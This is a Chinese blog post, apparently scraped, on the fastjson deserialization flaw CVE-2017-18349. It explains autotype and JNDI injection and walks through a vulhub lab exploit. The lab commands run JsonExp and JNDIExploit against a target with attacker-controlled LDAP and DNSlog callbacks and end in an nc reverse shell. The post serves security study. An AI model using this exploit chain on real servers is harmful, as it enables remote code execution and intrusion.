fastjson反序列化漏洞(CVE-2017-18349)

news2024/11/18 23:21:55

文章目录

    • fastjson
      • 序列化
      • FastJson 序列化操作
      • 反序列化
      • 漏洞原理
      • 漏洞复现(CVE-2017-18349)

fastjson

fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

提供两个主要接口:

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

序列化

"JSON.toJSONString"是Java语言中com.alibaba.fastjson.JSON类提供的一个方法,用于将Java对象转换为JSON格式的字符串

User user = new User("John", "Doe", 30);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);

假设User类具有以下属性和构造函数:

public class User {
    private String firstName;
    private String lastName;
    private int age;

    public User(String firstName, String lastName, int age) {
        this.firstName = firstName;
        this.lastName = lastName;
        this.age = age;
    }

    // 省略 getter 和 setter 方法
}

输出结果将是一个表示"user"对象的JSON字符串:

{"age":30,"firstName":"John","lastName":"Doe"}

FastJson 序列化操作

序列化

Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);   
	//漏洞的关键点在@type
String jsonString2 = JSON.toJSONString(student);
System.out.println(jsonString);
System.out.println(jsonString2);

img


反序列化

System.out.println("反序列化");
    String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}";      		//payload 写在恶意类Student中。但是类在服务端,如何去创建,如何写payload
//String json_ser2 = "{\"name\":\"jack\"}";
Student stu = JSON.parseObject(json_ser2,Student.class,Feature.SupportNonPublicField);
    //Feature.SupportNonPublicField 获取类中的私有变量
Student stu2 = (Student) JSON.parseObject(json_ser2,Object.class,Feature.SupportNonPublicField);
System.out.println(stu.getClass());
System.out.println(stu2.getClass().getName());

/*
上述代码在fastjson中调用JSON.parseObject方法进行反序列化。它接受三个参数:要反序列化的JSON字符串,目标类型(可以是具体的类或Object.class),以及一些特性(此处使用Feature.SupportNonPublicField来支持读取私有字段)。
*/

———————————————————————————————————————————————————————————————————————————————————

在上述代码中,你声明了一个名为Student的类(不包含恶意代码),它具有name属性。然后,使用JSON.parseObject方法将JSON字符串json_ser2反序列化为Student对象。这将返回一个Student对象,你可以调用其相应的方法来访问属性和执行其他操作。

最后,通过打印stu.getClass()和stu2.getClass().getName(),你可以获取反序列化后对象的类名。

需要注意的是,如果在JSON字符串中存在其他字段,而目标类中没有相应的属性,将会被忽略。同时,为了正确使用fastjson库,请确保在项目的类路径中引入fastjson库。

序列化 String json_ser2 = “{“name”:“jack”}”;会报错

序列化 String json_ser = “{”@type":“com.company.Student”,“name”:“jack”}"; 不会报错

因此能够执行反序列化的根源定位在 @type

漏洞原理

fastjson就是为了知道传入的值是水果里的苹果类型还是水果里的苹果手机类型。加了autotype机制导致的。因为他为了知道是什么详细类型,每次都需要读取下@type导致的。

攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

  1. fastjson 利用过程
    fastjson中,在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行,我们给此类中的 setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞

  2. 恶意类怎么上传到服务端
    通过jndi在服务端创造一个有危害的类,目标服务器收到rmi的命令之后,就会加载这个jndi生成的恶意类

  3. fastjson rce的原理
    jdk 中的 jdbcRowSetImpl 类中的 setAutoCommit 方法中的 lookup方法中的 getDataSourcesName 参数输入可控

漏洞复现(CVE-2017-18349)

环境:kali linux

靶场:vulhub/fastjson

image-20230918164314498

访问靶场:

image-20230918164346611

DNSlog检测:

若出现dnslog回弹,可根据前面的编号去寻找对应的payload

JsonExp.exe -u http://192.168.100.134:8090/ -l vi7sp8.dnslog.cn	//DNSlog地址

编号.地址

image-20230918165910277

测试的payload:

image-20230918165056634

在DNSlog处查看回显:

image-20230918165822173

工具对应生成报告文件内容:

image-20230918165202639

LDAP检测,开启LDAP和HTTP服务:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1

开始监听端口,可加参数自定义端口,也可以使用默认端口。

image-20230918170029928

将DNSlog地址换成LDAP服务的地址和对应的端口

JsonExp.exe -u http://192.168.100.134:8090/ -l 192.168.100.1:1389

image-20230918170357651

此时LDAP服务器可收到路径信息,可根据路径信息来定位触发漏洞的payload

image-20230918170608979

查看检测生成的报告:

image-20230918170714084

复制请求包,使用burp抓包修改数据包,复制此数据包

发送给重发器进行备份

image-20230918170837950

复制此数据包:

image-20230918170923313

查看可用的payload内容:

image-20230918171029454

拿出其中一条,复制到payload1当中:

(如果不成功,可换其他的语句进行尝试)

image-20230918171206313

本地开启nc监听:

image-20230918171244994

发送数据包:

image-20230918171348901

此时LDAP服务器可收到相关的信息:

image-20230918171332993

反过来查看监听端是否反弹shell成功:

反弹shell成功

image-20230918171503762

以上涉及的工具地址:

JsonExp

JNDIExp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1035894.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

分类预测 | MATLAB实现WOA-CNN-BiGRU-Attention数据分类预测(SE注意力机制)

分类预测 | MATLAB实现WOA-CNN-BiGRU-Attention数据分类预测(SE注意力机制) 目录 分类预测 | MATLAB实现WOA-CNN-BiGRU-Attention数据分类预测(SE注意力机制)分类效果基本描述模型描述程序设计参考资料 分类效果 基本描述 1.MATLA…

Quartus出租车计费器verilog计价器

名称:出租车计费器verilog计价器 软件:Quartus 语言:Verilog 要求: 出租车计费器,起步价10元,3公里内起步价,可以切换白天和夜晚计费,白天时超过3公里后2.4元每公里,停…

RabbitMQ实现秒杀场景示例

本文章通过MQ队列来实现秒杀场景 整体的设计如下图,整个流程中对于发送发MQ失败和发送到死信队列的数据未做后续处理 1、首先先创建MQ的配置文件 Configuration public class RabbitConfig {public static final String DEAD_LETTER_EXCHANGE "deadLetterE…

springcloud3 分布式事务-seata的四种模式总结以及异地容灾

一 seata四种模式比较 1.1 seata的4种模式比较 二 seata的高可用 2.1架构 1.建TC服务集群非常简单,启动多个TC服务,注册到nacos即可。 2.做异地多机房容灾,比如一个TC集群在上海,另一个TC集群在杭州, 3.微服务基…

趣解设计模式之《小王的糖果售卖机》

〇、小故事 小王最近一直在寻找商机,他发现商场儿童乐园或者中小学校周围,会有很多小朋友喜欢吃糖果,那么他想设计一款糖果售卖机,让后将这些糖果售卖机布置到商场和学校旁边,这样就能获得源源不断的收益了。 想到这里…

20 个实例玩转 Java 8 Stream

20 个实例玩转 Java 8 Stream 1、Stream概述 Java 8 是一个非常成功的版本,这个版本新增的 Stream,配合同版本出现的 Lambda,给我们操作集合 Collection 提供了极大的便利。 那么什么是 Stream? Stream 将要处理的元素集合看作…

Docker部署MySQL8数据库

1、准备工作 docker pull mysql:8.0.27 Pwd"/data/software/mysql" mkdir ${Pwd}/{data,logs} -p chmod 777 ${Pwd}/logs2、添加配置文件 cat > ${Pwd}/my.cnf << EOF [mysqld] usermysql pid-file/var/run/mysqld/mysqld.pid socket/var/run/mysqld/mysq…

SQL和Python,哪个更容易自学?哪个更适合数据工作的编程新手?

如果你想从事数据工作&#xff0c;比如数据分析、数据开发、数据科学等&#xff0c;你可能会遇到这样的问题&#xff1a;SQL和Python哪个更容易自学&#xff1f;哪个更有用&#xff1f;哪个更有前途&#xff1f;其实这两种语言都是数据工作的重要技能&#xff0c;但它们的特点和…

react实现数据进度条展示组件

1.需求 在项目开发时&#xff0c;要展示一个操作的进度条&#xff0c;比如&#xff1a;要实现一个文件的上传下载进度条&#xff0c;或者实现类似拼夕夕砍一刀进度条&#xff0c;怎么实现呢&#xff1f;效果图如下&#xff1a; 对上面效果图说明&#xff1a; 进度条底色为棕黑色…

559. N 叉树的最大深度

给定一个 N 叉树&#xff0c;找到其最大深度。 最大深度是指从根节点到最远叶子节点的最长路径上的节点总数。 N 叉树输入按层序遍历序列化表示&#xff0c;每组子节点由空值分隔&#xff08;请参见示例&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [1,null,3,2…

从统计语言模型到预训练语言模型---预训练语言模型(BERT,GPT,BART系列)

基于 Transformer 架构以及 Attention 机制&#xff0c;一系列预训练语言模型被不断提出。 ​BERT 2018 年 10 月&#xff0c; Google AI 研究院的 Jacob Devlin 等人提出了 BERT (Bidirectional Encoder Representation from Transformers ) 。具体的研究论文发布在 arXiv …

浅谈低压绝缘监测及定位系统在海上石油平台的研究与应用

安科瑞 华楠 摘要&#xff1a;海上石油平台低压系统与陆地电力系统有很大区别&#xff0c;其属于中性点绝缘系统&#xff0c;在出现单相接地故障时&#xff0c;系统允许带故障正常运行2 h&#xff0c;保证海上重要电气设备不会立即关停。现以渤海某海上平台为例&#xff0c;其…

LABVIEW 实战案例1--温度报警系统

图1 温度报警系统前面板 图2 温度报警系统后面板

1796_通过vmware打开VirtualBox虚拟机文件

全部学习汇总&#xff1a; GitHub - GreyZhang/toolbox: 常用的工具使用查询&#xff0c;非教程&#xff0c;仅作为自我参考&#xff01; 首先讲vdi格式转换成vmdk格式&#xff0c;以我自己的环境下的信息&#xff0c;处理如下&#xff1a; VBoxManage clonehd "LinuxMin…

Sentinel结合Nacos实现配置持久化(全面)

1、前言 我们在进行分布式系统的开发中&#xff0c;无论是在开发环境还是发布环境&#xff0c;配置一定不能是内存形式的&#xff0c;因为系统可能会在中途宕机或者重启&#xff0c;所以如果放在内存中&#xff0c;那么配置在服务停到就是就会消失&#xff0c;那么此时就需要重…

javascript 使用async/await简化异步操作实践

实现的功能简述&#xff1a; 新增申请单时&#xff0c;申请单的业务日期由两个因素决定&#xff1a; 异步获取的仓库的业务日期。异步获取的日期偏移天数规则。 业务日期 仓库的业务日期 偏移天数。比如仓库的业务日期是2023-01-01,偏移天数是5&#xff0c;那么最终的业务日期…

【轨道机器人】成功驱动伺服电机(学生电源、DCH调试软件、DH系列伺服驱动器)

1、硬件平台 工控机 学生电源 DH系列伺服驱动器 电机 调试平台&#xff1a;DCH 2、如何利用dch驱动电机 点击可驱动电机 下面的步骤是比较关键的几步&#xff1a; 3、遇到的问题 不能成功驱动电机&#xff0c;还和厂家那边打电话&#xff0c;询问 发现是这…

霍金《时间简史》A Brief History of Time 学习笔记(第二章)

CHAPTER 2 : SPACE & TIME Footnote: Second chapter. Mainly talks about spacetime. Footnote: “Thought Experiment”, which is quite common in the field of physics. False: Galileo dropping weights from the Tower of Pisa (Assertedly) True: Galileo rolling…

【企业级SpringBoot单体项目模板 】——Mybatis-plus自动代码生成

&#x1f61c;作 者&#xff1a;是江迪呀✒️本文关键词&#xff1a;SpringBoot项目模版、企业级、模版☀️每日 一言&#xff1a;我们之所以这样认为&#xff0c;是因为他们这样说。他们之所以那样说&#xff0c;是因为他们想让我们那样认为。所以实践才是检验真理…

漏刻有时数据可视化Echarts组件开发(30):自定义方向的数据流向动画

let points = [{name: 市城市管理局,desc: {type: 1,},},{name: 科大讯飞,desc: {type: 2,},},{name: 市水利局,desc: {type: 1,},},{name: 市政法委,desc: {type: 1,},},{name: 市自然资源和规划局,desc: {type: 1,},},{name: 市生态环境局,desc: {type: 1,},},{name: 市大数据…